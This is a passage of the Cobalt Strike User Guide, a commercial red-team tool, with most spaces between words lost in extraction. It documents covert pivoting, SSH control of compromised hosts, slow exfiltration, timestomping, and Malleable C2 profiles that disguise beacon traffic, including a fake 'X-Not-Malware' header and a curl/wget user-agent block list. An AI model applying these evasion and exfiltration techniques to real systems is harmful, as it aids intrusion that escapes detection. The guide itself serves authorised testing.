UseifconfigtoconfigureitsIPaddress.IfyourtargetnetworkhasaDHCPserver,youmay requestanIPaddressfromitusingyouroperatingsystemsbuilt-intools. CobaltStrikeUserGuide www.fortra.com page:123

Pivoting/CovertVPN Manage Interfaces TomanageyourCovertVPNinterfaces,gotoCobalt Strike ->VPN Interfaces.Here,Cobalt StrikewillshowtheCovertVPNinterfaces,howtheyreconfigured,andhowmanybyteswere transmittedandreceivedthrougheachinterface. HighlightaninterfaceandpressRemove todestroytheinterfaceandclosetheremoteCovert VPNclient.CovertVPNwillremoveitstemporaryfilesonrebootanditautomaticallyundoes anysystemchangesrightaway. PressAdd toconfigureanewCovertVPNinterface. figure66-SetupaCovertVPNInterface Configure an Interface CovertVPNinterfacesconsistofanetworktapandachanneltocommunicateethernetframes through.Toconfiguretheinterface,chooseanInterfacename(thisiswhatyouwillmanipulate throughifconfiglater)andaMACaddress. YoumustalsoconfiguretheCovertVPNcommunicationchannelforyourinterface.CovertVPN maycommunicateEthernetframesoveraUDPconnection,TCPconnection,ICMP,orusingthe HTTPprotocol.TheTCP(Reverse)channelhasthetargetconnecttoyourCobaltStrike instance.TheTCP(Bind)channelhasCobaltStriketunneltheVPNthroughBeacon. CobaltStrikewillsetupandmanagecommunicationwiththeCovertVPNclientbasedonthe LocalPortandChannelyouselect. TheCovertVPNHTTPchannelmakesuseoftheCobaltStrikewebserver.Youmayhostother CobaltStrikewebapplicationsandmultipleCovertVPNHTTPchannelsonthesameport. CobaltStrikeUserGuide www.fortra.com page:124

Pivoting/CovertVPN Forbestperformance,usetheUDPchannel.TheUDPchannelhastheleastamountof overheadcomparedtotheTCPandHTTPchannels.UsetheICMP,HTTP,orTCP(Bind) channelsifyouneedtogetpastarestrictivefirewall. WhileCovertVPNhasaflexibilityadvantage,youruseofaVPNpivotoveraproxypivotwill dependonthesituation.CovertVPNrequiresAdministratoraccess.Aproxypivotdoesnot. CovertVPNcreatesanewcommunicationchannel.Aproxypivotdoesnot.Youshouldusea proxypivotinitiallyandmovetoaVPNpivotwhenitsneeded. CobaltStrikeUserGuide www.fortra.com page:125

SSHSessions/TheSSHClient SSH Sessions The SSH Client CobaltStrikecontrolsUNIXtargetswithabuilt-inSSHclient.ThisSSHclientreceivestasks fromandroutesitsoutputthroughaparentBeacon. Right-clickatargetandgotoLogin -> sshtoauthenticatewithausernameandpassword.Go toLogin -> ssh (key)toauthenticatewithakey. FromaBeaconconsole,usessh [pid] [arch] [target] [user] [password]toinjectintothe specifiedprocesstorunanSSHclientandattempttologintothespecifiedtarget.Usessh [target] [user] [password] (without[pid]and[arch]arguments)tospawnatemporaryprocess torunanSSHclientandattempttologintothespecifiedtarget. Youmayalsousessh-key [pid] [arch] [target:port] [user] [/path/to/key.pem]toinjectintothe specifiedprocesstorunanSSHclientandattempttologintothespecifiedtarget.Usessh-key [target:port] [user] /path/to/key.pemtospawna temporaryprocesstorunanSSHclientandattempttologintothespecifiedtarget. NOTE: ThekeyfileneedstobeinthePEMformat.IfthefileisnotinthePEMformatthenmakea copyofthefileandconvertthecopywiththefollowingcommand:/usr/bin/ssh-keygen -f [/path/to/copy] -e -m pem -p. ThesecommandsrunCobaltStrikesSSHclient.Theclientwillreportanyconnectionor authenticationissuestotheparentBeacon.Iftheconnectionsucceeds,youwillseeanew sessioninCobaltStrikesdisplay.ThisisanSSHsession.Right-clickonthissessionandpress Interact toopentheSSHconsole. Typehelp toseealistofcommandstheSSHsessionsupports.Typehelpfollowedbya commandnamefordetailsonthatcommand. Running Commands Theshell commandwillrunthecommandandargumentsyouprovide.Runningcommands blocktheSSHsessionforupto20sbeforeCobaltStrikeputsthecommandinthebackground. CobaltStrikewillreportoutputfromtheselongrunningcommandsasitbecomesavailable. Usesudo [password] [command + arguments] toattempttorunacommandviasudo.This aliasrequiresthetargetssudotoaccepttheSflag. CobaltStrikeUserGuide www.fortra.com page:126

SSHSessions/UploadandDownloadFiles Thecd commandwillchangethecurrentworkingdirectoryfortheSSHsession.Thepwd commandreportsthecurrentworkingdirectory. Upload and Download Files Thefollowingcommandsareavailable: NOTE: Typehelp intheBeaconconsoletoseeavailablecommands.Typehelp followedbya commandnametoseedetailedhelp. download-Thiscommanddownloadstherequestedfile.Youdonotneedtoprovidequotes aroundafilenamewithspacesinit.Beaconisbuiltforlowandslowexfiltrationofdata. Duringeachcheck-in,Beaconwilldownloadafixedchunkofeachfileitstaskedtoget. ThesizeofthischunkdependsonBeaconscurrentdatachannel.TheHTTPandHTTPS channelspulldatain512KBchunks. downloads-UsetoseealistoffiledownloadsinprogressforthecurrentBeacon. cancel-Issuethiscommand,followedbyafilename,tocanceladownloadthatsinprogress. Youmayusewildcardswithyourcancelcommandtocancelmultiplefiledownloadsat once. upload-Thiscommanduploadsafiletothehost. timestomp-Whenyouuploadafile,youwillsometimeswanttoupdateitstimestampsto makeitblendinwithotherfilesinthesamefolder.Thiscommandwilldothis.The timestompcommandmatchestheModified,Accessed,andCreatedtimesofonefileto anotherfile. GotoView->DownloadsinCobaltStriketoseethefilesthatyourteamhasdownloadedsofar. Onlycompleteddownloadsshowupinthistab. Downloadedfilesarestoredontheteamserver.Tobringfilesbacktoyoursystem,highlight themhere,andpressSync Files.CobaltStrikethendownloadstheselectedfilestoafolderof yourchoosingonyoursystem. Peer-to-peer C2 SSHsessionscancontrolTCPBeacons.Usetheconnect commandtoassumecontrolofa TCPBeaconwaitingforaconnection.Useunlink todisconnectaTCPBeaconsession. CobaltStrikeUserGuide www.fortra.com page:127

SSHSessions/SOCKSPivotingandReversePortForwards Goto[session] ->Listeners ->Pivot Listener… tosetupapivotlistenertiedtothisSSH session.ThiswillallowthiscompromisedUNIXtargettoreceivereverseTCPBeaconsessions. ThisoptiondoesrequirethattheSSHdaemonsGatewayPortsoptionissettoyesor ClientSpecified. SOCKS Pivoting and Reverse Port Forwards Thefollowingcommandsareavailable: NOTE: Typehelp intheBeaconconsoletoseeavailablecommands.Typehelp followedbya commandnametoseedetailedhelp. socks-UsethiscommandtocreateaSOCKSserveronyourteamserverthatforwardstraffic throughtheSSHsession.Therportfwd commandwillalsocreateareverseportforward thatroutestrafficthroughtheSSHsessionandyourBeaconchain. Thereisonecaveattorportfwd:therportfwdcommandaskstheSSHdaemontobindtoall interfaces.ItsquitelikelytheSSHdaemonwilloverridethisandforcetheporttobindto localhost.YouneedtochangetheGatewayPortsoptionfortheSSHdaemontoyesor clientspecified. CobaltStrikeUserGuide www.fortra.com page:128

MalleableCommandandControl/Overview Malleable Command and Control Overview Beacon'sHTTPindicatorsarecontrolledbyaMalleableCommandandControl(MalleableC2) profile.AMalleableC2profileisasimpleprogramthatspecifieshowtotransformdataand storeitinatransaction.Thesameprofilethattransformsandstoresdata,interpreted backwards,alsoextractsandrecoversdatafromatransaction. Touseacustomprofile,youmuststartaCobaltStriketeamserverandspecifyyourprofileat thattime. ./teamserver [external IP] [password] [/path/to/my.profile] YoumayonlyloadoneprofileperCobaltStrikeinstance. Viewing the Loaded Profile ToviewtheC2profilethatwasloadedwhentheTeamServerwasstartedselectHelp
Malleable C2 Profileonthemenu.Thisdisplaystheprofileforthecurrentlyselected TeamServerwhenmultipleTeamServersareconnected.Thedialogisread-only. Toclosethedialogusethe'x'intheupperrightcornerofthedialog. TIP: ThissectioncoverstheMalleableC2featuresrelatedtoflexiblenetworkcommunications. SeeMalleable PE, Process Injection, and Post Exploitation on page 151forinformation onMalleableC2'sstage,process-inject,andpost-exblocks. Checking for Errors CobaltStrikesLinuxpackageincludesac2lint program.Thisprogramwillcheckthesyntaxofa communicationprofile,applyafewextrachecks,andevenunittestyourprofilewithrandom data.Itshighlyrecommendedthatyoucheckyourprofileswiththistoolbeforeyouloadthem intoCobaltStrike. ./c2lint [/path/to/my.profile] c2lintreturnsandlogsthefollowingresultcodesforthespecifiedprofilefile: CobaltStrikeUserGuide www.fortra.com page:129

MalleableCommandandControl/ProfileLanguage l Aresultof0isreturnedifc2lintcompleteswithnoerrors l Aresultof1isreturnedifc2lintcompleteswithonlywarnings l Aresultof2isreturnedifc2lintcompleteswithonlyerrors l Aresultof3isreturnedifc2lintcompleteswithbotherrorsandwarnings. Thelastlinesofthec2lintoutputdisplayacountofdetectederrorsandwarnings.Nomessage isdisplayedifnonearefound.Therecanbemoreerrormessagesdisplayedintheoutputthan thecountrepresentsbecauseasingleerrormayproducemorethan1errormessage.Thisis thesamepossibilityforwarningshoweverlesslikely.Forexample: l [!]Detected1warning. l [-]Detected3errors. Profile Language Thebestwaytocreateaprofileistomodifyanexistingone.Severalexampleprofilesare availableonGithub:https://github.com/cobalt-strike/Malleable-C2-Profiles Whenyouopenaprofile,hereiswhatyouwillsee:

this is a comment

set global_option "value"; protocol-transaction { set local_option "value"; client {

customize client indicators

} server {

customize server indicators

} } Commentsbeginwitha#andgountiltheendoftheline.Thesetstatementisawaytoassigna valuetoanoption.Profilesuse{ curlybraces}togroupstatementsandinformationtogether. Statementsalwaysendwithasemi-colon. Tohelpallofthismakesense,heresapartialprofile: http-get { set uri "/foobar"; CobaltStrikeUserGuide www.fortra.com page:130

MalleableCommandandControl/ProfileLanguage client { metadata { base64; prepend "user="; header "Cookie"; } } ThispartialprofiledefinesindicatorsforanHTTPGETtransaction.Thefirststatement,seturi, assignstheURIthattheclientandserverwillreferenceduringthistransaction.Thisset statementoccursoutsideoftheclientandservercodeblocksbecauseitappliestobothof them. TheclientblockdefinesindicatorsfortheclientthatperformsanHTTPGET.Theclient,inthis case,isCobaltStrikesBeaconpayload. WhenCobaltStrikesBeacon“phoneshome”itsendsmetadataaboutitselftoCobaltStrike.In thisprofile,wehavetodefinehowthismetadataisencodedandsentwithourHTTPGET request. Themetadatakeywordfollowedbyagroupofstatementsspecifieshowtotransformand embedmetadataintoourHTTPGETrequest.Thegroupofstatements,followingthemetadata keyword,iscalledadatatransform. Step Action Data 0. Start metadata

  1. base64 Base64Encode bWV0YWRhdGE=
  2. prepend"user=" PrependString user=bWV0YWRhdGE=
  3. header"Cookie" StoreinTransaction Thefirststatementinourdatatransformstatesthatwewillbase64encodeourmetadata[1]. Thesecondstatement,prepend,takesourencodedmetadataandprependsthestringuser=to it[2].Nowourtransformedmetadatais“user=“ .base64(metadata).Thethirdstatementstates wewillstoreourtransformedmetadataintoaclientHTTPheadercalledCookie[3].Thatsit. BothBeaconanditsserverconsumeprofiles.Here,wevereadtheprofilefromtheperspective oftheBeaconclient.TheBeaconserverwilltakethissameinformationandinterpretit backwards.LetssayourCobaltStrikewebserverreceivesaGETrequesttotheURI/foobar. Now,itwantstoextractmetadatafromthetransaction. Step Action Data
  4. Start CobaltStrikeUserGuide www.fortra.com page:131

MalleableCommandandControl/ProfileLanguage Step Action Data

  1. header"Cookie" RecoverfromTransaction user=bWV0YWRhdGE=
  2. prepend"user=" Removefirst5characters bWV0YWRhdGE=
  3. base64 Base64Decode metadata Theheaderstatementwilltellourserverwheretorecoverourtransformedmetadatafrom[1]. TheHTTPservertakescaretoparseheadersfromtheHTTPclientforus.Next,weneedtodeal withtheprependstatement.Torecovertransformeddata,weinterpretprependasremovethe firstXcharacters[2],whereXisthelengthoftheoriginalstringweprepended.Now,allthatsleft istointerpretthelaststatement,base64.Weusedabase64encodefunctiontotransformthe metadatabefore.Now,weuseabase64decodetorecoverthemetadata[3]. Wewillhavetheoriginalmetadataoncetheprofileinterpreterfinishesexecutingeachofthese inversestatements. Data Transform Language Adatatransformisasequenceofstatementsthattransformandtransmitdata.Thedata transformstatementsare: Statement Action Inverse append"string" Append"string" RemovelastLEN(“string”)characters base64 Base64Encode Base64Decode base64url URL-safeBase64Encode URL-safeBase64Decode mask XOR maskw/randomkey XOR maskw/samerandomkey netbios NetBIOSEncodea NetBIOSDecodea netbiosu NetBIOSEncodeA NetBIOSDecodeA prepend"string" Prepend"string" RemovefirstLEN(“string”)characters Adatatransformisacombinationofanynumberofthesestatements,inanyorder.For example,youmaychoosetonetbiosencodethedatatotransmit,prependsomeinformation, andthenbase64encodethewholepackage. Adatatransformalwaysendswithaterminationstatement.Youmayonlyuseonetermination statementinatransform.ThisstatementtellsBeaconanditsserverwhereinthetransactionto storethetransformeddata. Therearefourterminationstatements. CobaltStrikeUserGuide www.fortra.com page:132

MalleableCommandandControl/ProfileLanguage Statement What header“header” StoredatainanHTTPheader parameter“key” StoredatainaURIparameter print Senddataastransactionbody uri-append AppendtoURI TheheaderterminationstatementstorestransformeddatainanHTTPheader.Theparameter terminationstatementstorestransformeddatainanHTTPparameter.Thisparameteris alwayssentaspartofURI.Theprintstatementsendstransformeddatainthebodyofthe transaction. Theprintstatementistheexpectedterminationstatementforthehttp-get.server.output,http- post.server.output,andhttp-stager.server.outputblocks.Youmayusetheheader,parameter, printanduri-appendterminationstatementsfortheotherblocks. Ifyouuseaheader,parameter,oruri-appendterminationstatementonhttp-post.client.output, Beaconwillchunkitsresponsestoareasonablelengthtofitintothispartofthetransaction. Theseblocksandthedatatheysendaredescribedinalatersection. Strings BeaconsProfileLanguageallowsyoutouse“strings”inseveralplaces.Ingeneral,stringsare interpretedas-is.However,thereareafewspecialvaluesthatyoumayuseinastring: Value Special Value “\n” Newlinecharacter “\r” CarriageReturn “\t” Tabcharacter “\u####” Aunicodecharacter “\x##” Abyte(e.g.,\x41=A) “\”
Headers and Parameters Datatransformsareanimportantpartoftheindicatorcustomizationprocess.Theyallowyou todressupdatathatBeaconmustsendorreceivewitheachtransaction.Youmayadd extraneousindicatorstoeachtransactiontoo. CobaltStrikeUserGuide www.fortra.com page:133

MalleableCommandandControl/ProfileLanguage InanHTTPGETorPOSTrequest,theseextraneousindicatorscomeintheformofheadersor parameters.Usetheparameterstatementwithintheclientblocktoaddanarbitraryparameter toanHTTPGETorPOSTtransaction. ThiscodewillforceBeacontoadd?bar=blahtothe/foobarURIwhenitmakesarequest. http-get { client { parameter "bar" "blah"; UsetheheaderstatementwithintheclientorserverblockstoaddanarbitraryHTTPheaderto theclientsrequestorserversresponse.Thisheaderstatementaddsanindicatortoput networksecuritymonitoringteamsatease. http-get { server { header "X-Not-Malware" "I promise!"; TheProfileInterpreterwillInterpretyourheaderandparameterstatementsInorder.Thatsaid, theWinINetorWinHTTP(client)andCobaltStrikewebserverhavethefinalsayaboutwherein thetransactiontheseindicatorswillappear. SeeHTTP Host Profiles on page 140forinstructionstoincludecustomizedheadersand parametersforspecifichostnames. Options YoumayconfigureBeaconsdefaultsthroughtheprofilefile.Therearetwotypesofoptions: globalandlocaloptions.TheglobaloptionschangeaglobalBeaconsetting.Localoptionsare transactionspecific.Youmustsetlocaloptionsintherightcontext.Usethesetstatementtoset anoption. set "sleeptime" "1000"; Hereareafewoptions: Option Context Default Value Changes data_jitter 0 Appendrandom-lengthstring(upto data_jittervalue)tohttp-getandhttp- postserveroutput. CobaltStrikeUserGuide www.fortra.com page:134

MalleableCommandandControl/ProfileLanguage Option Context Default Value Changes headers_remove Comma-separatedlistofHTTPclient headerstoremovefromBeaconC2 host_stage true HostpayloadforstagingoverHTTP, HTTPS,orDNS.Requiredbystagers. jitter 0 Defaultjitterfactor(0-99%) Thispropertycannotbeusedwhenthe sleepoptionisincludedintheprofile. pipename msagent_## DefaultnameofpipetouseforSMB Beaconspeer-to-peercommunication. Each#isreplacedwitharandomhex value. pipename_stager status_## NameofpipetouseforSMBBeacons namedpipestager.Each#isreplaced witharandomhexvalue. sample_name MyProfile Thenameofthisprofile(usedinthe IndicatorsofCompromisereport) sleep Defaultsleeptimedefinedaseither: secondsjitter(e.g.'2025') or [n]d[n]h[n]m[n]s[n]j(e.g.'1d13h34m 45s25j') Thispropertycannotbeusedwhenthe sleeptimeandjitteroptionsare includedintheprofile. sleeptime 60000 Defaultsleeptime(inmilliseconds). Thispropertycannotbeusedwhenthe sleepoptionisincludedintheprofile. smb_frame_header PrependheadertoSMBBeacon messages ssh_banner CobaltStrike SSHclientbanner 4.2 ssh_pipename postex_ssh_ NameofpipeforSSHsessions.Each#

isreplacedwitharandomhexvalue.

CobaltStrikeUserGuide www.fortra.com page:135

MalleableCommandandControl/ProfileLanguage Option Context Default Value Changes steal_token_ Blank/0 Setsthedefaultusedbysteal_token access_mask (TOKEN_ALL_ beaconcommandandbsteal_token ACCESS) beaconaggressorscriptcommandfor theOpenProcessTokenfunctions "DesiredAccess". Suggestion:use"11"for"TOKEN_ DUPLICATE|TOKEN_ASSIGN_ PRIMARY|TOKEN_QUERY" tasks_max_size 1048576 Themaximumsize(inbytes)oftask(s) andproxydatathatcanbetransferred throughacommunicationchannelata checkin tasks_proxy_max_ 921600 Themaximumsize(inbytes)ofproxy size datatotransferviathecommunication channelatacheckin. tasks_dns_proxy_ 71680 Themaximumsize(inbytes)ofproxy max_size datatotransferviatheDNS communicationchannelatacheckin. tcp_frame_header PrependheadertoTCPBeacon messages tcp_port 4444 DefaultTCPBeaconlistenport uri http-get, [required TransactionURI http-post option] uri_x86 http-stager x86payloadstageURI uri_x64 http-stager x64payloadstageURI useragent Internet DefaultUser-AgentforHTTPcomms. Explorer (Random) verb http-get, GET,POST HTTPVerbtousefortransaction http-post Withtheurioption,youmayspecifymultipleURIsasaspaceseparatedstring.CobaltStrikes webserverwillbindalloftheseURIsanditwillassignoneoftheseURIstoeachBeaconhost whentheBeaconstageisbuilt. Eventhoughtheuseragentoptionexists;youmayusetheheaderstatementtooverridethis option. AdditionalConsiderationsfor the'task_' Settings CobaltStrikeUserGuide www.fortra.com page:136

MalleableCommandandControl/ProfileLanguage Thetasks_max_size,tasks_proxy_max_size,andtasks_dns_proxy_max_sizeworktogetherto createadatabuffertobetransferredtobeaconwhenacheckinoccurs.Whenthebeacon checksinitrequestsalistoftasksandproxydatathatisreadytobetransferredtothisbeacon anditschildren.Thedatabufferstartstofillwithtask(s)followedbyproxydatafortheparent beacon.Thenitcontinuesthispatternforeachchildbeaconuntilnomoretasksorproxydatais availableorthetasks_max_sizesettingwillbeexceededbythenexttaskorproxydata. Thetasks_max_sizecontrolsthemaximumsizeinbytesadatabufferfilledwithtasksand proxydatacanbetotransferittobeaconthroughDNS,HTTP,HTTPS,andPeer-to-Peer communicationchannels.Mostofthetimethedefaultsarefine,howeverthereareoccasions whenacustomtaskwillexceedthemaximumsizeandcannotbesent.Forexample,youuse theexecute-assemblywithanexecutablelargerthan1MBinsizeandthefollowingmessageis displayedintheteamserverandbeaconconsoles. [TeamServerConsole] Droppingtaskfor40147050!Tasksizeof1389584bytesisoverthemaxtasksizelimitof 1048576bytes. [BeaconConsole] Tasksizeof1389584bytesisoverthemaxtasksizelimitof1048576bytes. Increasingthetasks_max_sizesettingwillallowthiscustomtasktobesent.However,itwill requirerestartingtheteamserverandgeneratingnewbeaconsasthetasks_max_sizeis patchedintotheconfigurationsettingswhenabeaconisgeneratedandcannotbemodified. Thissettingalsoaffectshowmuchheapmemorybeaconallocatestoprocesstasks. Best Practices: l Determinethelargesttasksizethatwillbesenttoabeacon.Thiscanbedonethrough testingandlookingforthemessageaboveorinvestigatingyourcustom objects (executables,dlls,etc)thatareusedinyourengagements.Oncethisisdeterminedadd someextraspacetothevalue.Usingtheinformationfrom theaboveexampleuse 1572864(1.5MB)asthetasks_max_size.Thereasontohaveextraspaceisbecausea smallertaskmayfollowthelargertasktoreadtheresponse. l Whenthetasks_max_sizevalueisdeterminedupdatethetask_max_sizesettinginyour profileandstarttheteam serverandgenerateyourbeaconartifactstodeployonyour targetsystems. l Ifyourinfrastructurerequiresbeaconsgeneratedfrom otherteam serverstoconnect witheachotherthroughPeer-to-Peercommunicationchannels,thenthissettingshould beupdatedonallteam servers.Otherwise,abeaconwillignorearequestwhenit exceedsitsconfiguredsize. l IfyouareusinganExternaC2listeneranupdatewouldberequiredtosupporttasks_ max_sizelargerthanthedefaultsizeof1MB. CobaltStrikeUserGuide www.fortra.com page:137

MalleableCommandandControl/HTTPStaging Whenexecutingalargetaskavoidqueueingitwithothertasks,especiallyifthisisbeing executedonabeaconusingpeer-to-peercommunicationchannels(SMBandTCP)asitcould bedelayedforseveralcheckinsdependingonthenumberofalreadyqueuedtasksandproxy datatosend.ThereasoniswhenataskisaddedithasasizeofXbyteswhichreducesthetotal availablespaceavailableforaddingadditionaltasks.Inaddition,proxyingdatathrougha beaconwillalsoreducetheamountofavailablespaceforsendingalargetask.Whenataskis delayedthefollowingmessageisdisplayedintheteamserverandbeaconconsoles. [TeamServerConsole] Chunkingtasksfor123!Unabletoaddtaskof787984bytesasitisovertheavailablesizeof 260486bytes.2task(s)onholduntilnextcheckin. [BeaconConsole] Unabletoaddtaskof787984bytesasitisovertheavailablesizeof260486bytes.2task(s) onholduntilnextcheckin. Thetasks_dns_proxy_max_size(DNSchannel)andtasks_proxy_max_size(Otherchannels) controlsthesizeofproxydatainbytestobesenttobeacon.Bothsettingsneedtobelessthan thetasks_max_sizesetting.Itisrecommendednottomodifythesesettingsasthedefaultsizes arefine.Howthesesettingsworkiswhenitistimetoaddproxydatatothedatabufferfora parentbeaconitusesthechannelsproxy_max_sizesettingminusthecurrenttasklength,which canbeeitherapositiveornegativevalue.Ifitisapositivevalue,thentheproxydatawillbe addeduptothatvalue.ifitisanegativevaluetheproxydataisskippedforthischeckin.Fora childbeacontheproxy_max_sizeistemporarilyreducedbasedontheavailabledatabuffer spaceleftfromprocessingtheparentandpriorchildren. HTTP Staging Beaconisastagedpayload.Thismeansthepayloadisdownloadedbyastagerandinjected intomemory.Yourhttp-getandhttp-postindicatorswillnottakeeffectuntilBeaconisin memoryonyourtarget.MalleableC2shttp-stagerblockcustomizestheHTTPstagingprocess. http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; Theuri_x86optionsetstheURItodownloadthex86payloadstage.Theuri_x64optionsetsthe URItodownloadthex64payloadstage. client { parameter "id" "1234"; header "Cookie" "SomeValue"; } CobaltStrikeUserGuide www.fortra.com page:138

MalleableCommandandControl/ABeaconHTTPTransactionWalk-through Theclientkeywordunderthecontextofhttp-stagerdefinestheclientsideoftheHTTP transaction.UsetheparameterkeywordtoaddaparametertotheURI.Usetheheaderkeyword toaddaheadertothestagersHTTPGETrequest. server { header "Content-Type" "image/gif"; output { prepend "GIF89a"; print; } } Theserverkeywordunderthecontextofhttp-stagerdefinestheserversideoftheHTTP transaction.Theheaderkeywordaddsaserverheadertotheserversresponse.Theoutput keywordundertheservercontextofhttp-stagerisadatatransformtochangethepayload stage.Thistransformmayonlyprependandappendstringstothestage.Usetheprint terminationstatementtoclosethisoutputblock. ABeacon HTTP Transaction Walk-through Toputallofthistogether,ithelpstoknowwhataBeacontransactionlookslikeandwhichdata issentwitheachrequest. AtransactionstartswhenaBeaconmakesanHTTPGETrequesttoCobaltStrikeswebserver. Atthistime,Beaconmustsendmetadatathatcontainsinformationaboutthecompromised system. TIP: Sessionmetadataisanencryptedblobofdata.Withoutencoding,itisnotsuitablefor transportinaheaderorURIparameter.Alwaysapplyabase64,base64url,ornetbios statementtoencodeyourmetadata. CobaltStrikeswebserverrespondstothisHTTPGETwithtasksthattheBeaconmustexecute. Thesetasksare,initially,sentasoneencryptedbinaryblob.Youmaytransformthisinformation withtheoutputkeywordundertheservercontextofhttp-get. AsBeaconexecutesitstasks,itaccumulatesoutput.Afteralltasksarecomplete,Beacon checksifthereisoutputtosend.Ifthereisnooutput,Beacongoestosleep.Ifthereisoutput, BeaconinitiatesanHTTPPOSTtransaction. TheHTTPPOSTrequestmustcontainasessionidinaURIparameterorheader.CobaltStrike usesthisinformationtoassociatetheoutputwiththerightsession.Thepostedcontentis, CobaltStrikeUserGuide www.fortra.com page:139

MalleableCommandandControl/HTTPHostProfiles initially,anencryptedbinaryblob.Youmaytransformthisinformationwiththeoutputkeyword undertheclientcontextofhttp-post. CobaltStrikeswebservermayrespondtoanHTTPPOSTwithanythingitlikes.Beacondoes notconsumeorusethisinformation.YoumayspecifytheoutputofHTTPPOSTwiththeoutput blockundertheservercontextofhttp-post. NOTE: Whilehttp-getusesGETbydefaultandhttp-postusesPOSTbydefault,yourenotstuck withtheseoptions.Usetheverboptiontochangethesedefaults.Theresalotofflexibility here. Thistablesummarizesthesekeywordsandthedatatheysend: Request Component Block Data http-get client metadata Sessionmetadata http-get server output Beaconstasks http-post client id SessionID http-post client output Beaconsresponses http-post server output Empty http-stager server output Encodedpayloadstage HTTP Host Profiles HostProfilesisusedtodefineHTTPcharacteristics(uri,headers,andparameters)thatwillbe usedfortheHTTP/HTTPScommunicationtrafficforaspecifichostname.HostProfilesis optional.HostProfilescanbedefinedformultiplehostnames. About Dynamic Data Somefieldsinhttp-host-profilesgroupsupportadynamicvaluesyntax.Beaconswillrandomly selectoneoftheoptionalvaluesinthespecifieddynamicsyntax.Dynamicsyntaxiswrappedby squarebracketswithvaluesseparatedby"|". Feature Example Resolves to [example.abc|sample.def|demo.ghi] example.abc Dynamicsyntaxcanbe sample.def anentirevalue. demo.ghi CobaltStrikeUserGuide www.fortra.com page:140

MalleableCommandandControl/HTTPHostProfiles Feature Example Resolves to prefix/[a|b]/suffix prefix/a/suffix Dynamicsyntaxcanbe prefix/b/suffix embeddedinstatictext. abc/folder[1||3|]/xyz abc/folder1/xyz Dynamicsyntaxcanhave abc/folder/xyz oneormoreblank abc/folder3/xyz optionsasaselected abc/folder/xyz value. [abc|xyz]/[123|456]/ Dynamicsyntaxcanhave [index.html|hello.js|home.jsp] multipledynamicitems. http-host-profiles { profile { set host-name "one.ytrewq.com"; http-get { set uri "/[a|b|c|d]/ytrewq/get.js"; header "ytrewq-header-[a|b|c]" "static-value"; parameter "ytrewq-parameter" "value-[x|y|z]"; parameter "ytrewq-[a|b|c]" "value-[x|y|z]";

Example of param name that will be dropped when it resolves as blank

parameter "[p1|||p4]" "[a|b|c]"; } http-post { set uri "/[a|b|c|d]/ytrewq/[post1|post2|post3|post4].js"; header "ytrewq-header-[a|b|c]" "static-value"; parameter "ytrewq-parameter" "value-[x|y|z]"; parameter "ytrewq-[a|b|c]" "value-[x|y|z]"; parameter "[p1|||p4]" "[a|b|c]"; } } profile { set host-name "two.ytrewq.com"; http-get { set uri "/ytrewq/get/[2|two|dos]/[a|b|c].js"; } http-post { set uri "/ytrewq/post/[2|two|dos]/[a|b|c].js"; } } } Thesettingsare: CobaltStrikeUserGuide www.fortra.com page:141

MalleableCommandandControl/HTTPHostProfiles Field Description host-name Thehost-namefieldisafixedstringthatlinkstheHostProfiletomatching HTTP HostsfieldontheHTTP/HTTPSlistenerdefinitions.Thefieldis requiredandcasesensitive.ItdoesNOTsupportembeddeddynamic [a|b|c] syntax(“ ”). uri l Appliestoprofile.http-get.uriandprofile.http-post.uri. l ResolvedURILength: o GetMaxLength=127 o PostMaxLength=64 l Optional,butwhenspecified,itcannotresolvetoablankvalue. o NOTALLOWED:[/aaa|/bbb||] l Muststartwith“/“. l MustresolvetovalidHTTPURIsyntax. parameter l Appliestoprofile.http-get.uriandprofile.http-post.uri. l Upto10parametersinasingleHostProfileget/postdefinition. l Supportsembeddeddynamicdatasyntaxinthenameandvalue. l If/whenthenameresolvestoablankvalue,theparameterwillbe dropped. l Blankparametervaluesaresupported. header l Appliestoprofile.http-get.uriandprofile.http-post.uri. l Upto10headersinasingleHostProfileget/postdefinition. l Supportsembeddeddynamicdatasyntaxinthenameandvalue. l If/whenthenameresolvestoablankvalue,theheaderwillbe dropped. l If/whenthevalueresolvestoablankvalue,theheaderwillbe dropped. NOTE: Theheaderandparameterfieldsaboveallowhostnamespecificconfigurationinaddition totheheadersandparametersdescribedintheProfileLanguage/HeadersandParameters sectionintheguide. Restrictions CobaltStrikeUserGuide www.fortra.com page:142

MalleableCommandandControl/HTTPServerConfiguration l Upto8hostprofilesusedperlistener/beacon l 1024bytelimitonspaceforallprofilesusedinabeacon(usesmallsimpledefinitionsif possible) l Maximum tokensinadynamicfield:32 Host Profile Linting: l ThelintingprocessDOES NOTincludeHostProfilesettingsinthedefault/variantprofile sampledataitgenerates.Theprocessdoesnotknowwhichhostswillbeassignedto whichlistenersandwhichlistenerswillbeassignedtothedefaultorvariousprofile variantstogeneratetheexamples. l Thelintingprocessincludesseveralchecksforthedefinedhostprofiles. l TheHostProfileget/postURIsmustresolvetouniqueURIstoidentifyHTTPrequests appropriately.ThelintingfeaturewilltestforpossibleURIcollisions.Lintingdoesnot knowwhichprofilevariantsmightusespecifichostprofiles,sothelintingprocess checksforduplicatesinalargerscope(allvariants)thanmaybeactuallyrequired. l LintingrequirestheprocessresolveeverypotentialURI,andheader/parametername. Complexdynamicdatacanresultinverylargesetsofresults,whichwillimpact performanceandmemory. HTTP Server Configuration Thehttp-configblockhasinfluenceoverallHTTPresponsesservedbyCobaltStrikesweb server.Here,youmayspecifyadditionalHTTPheadersandtheHTTPheaderorder. http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive”; set trust_x_forwarded_for "true"; set block_useragents "curl*,lynx*,wget*"; } set headers-ThisoptionspecifiestheordertheseHTTPheadersaredeliveredinanHTTP response.Anyheadersnotinthislistareaddedtotheend. header-ThiskeywordaddsaheadervaluetoeachofCobaltStrikesHTTPresponses.Ifthe headervalueisalreadydefinedinaresponse,thisvalueisignored. CobaltStrikeUserGuide www.fortra.com page:143

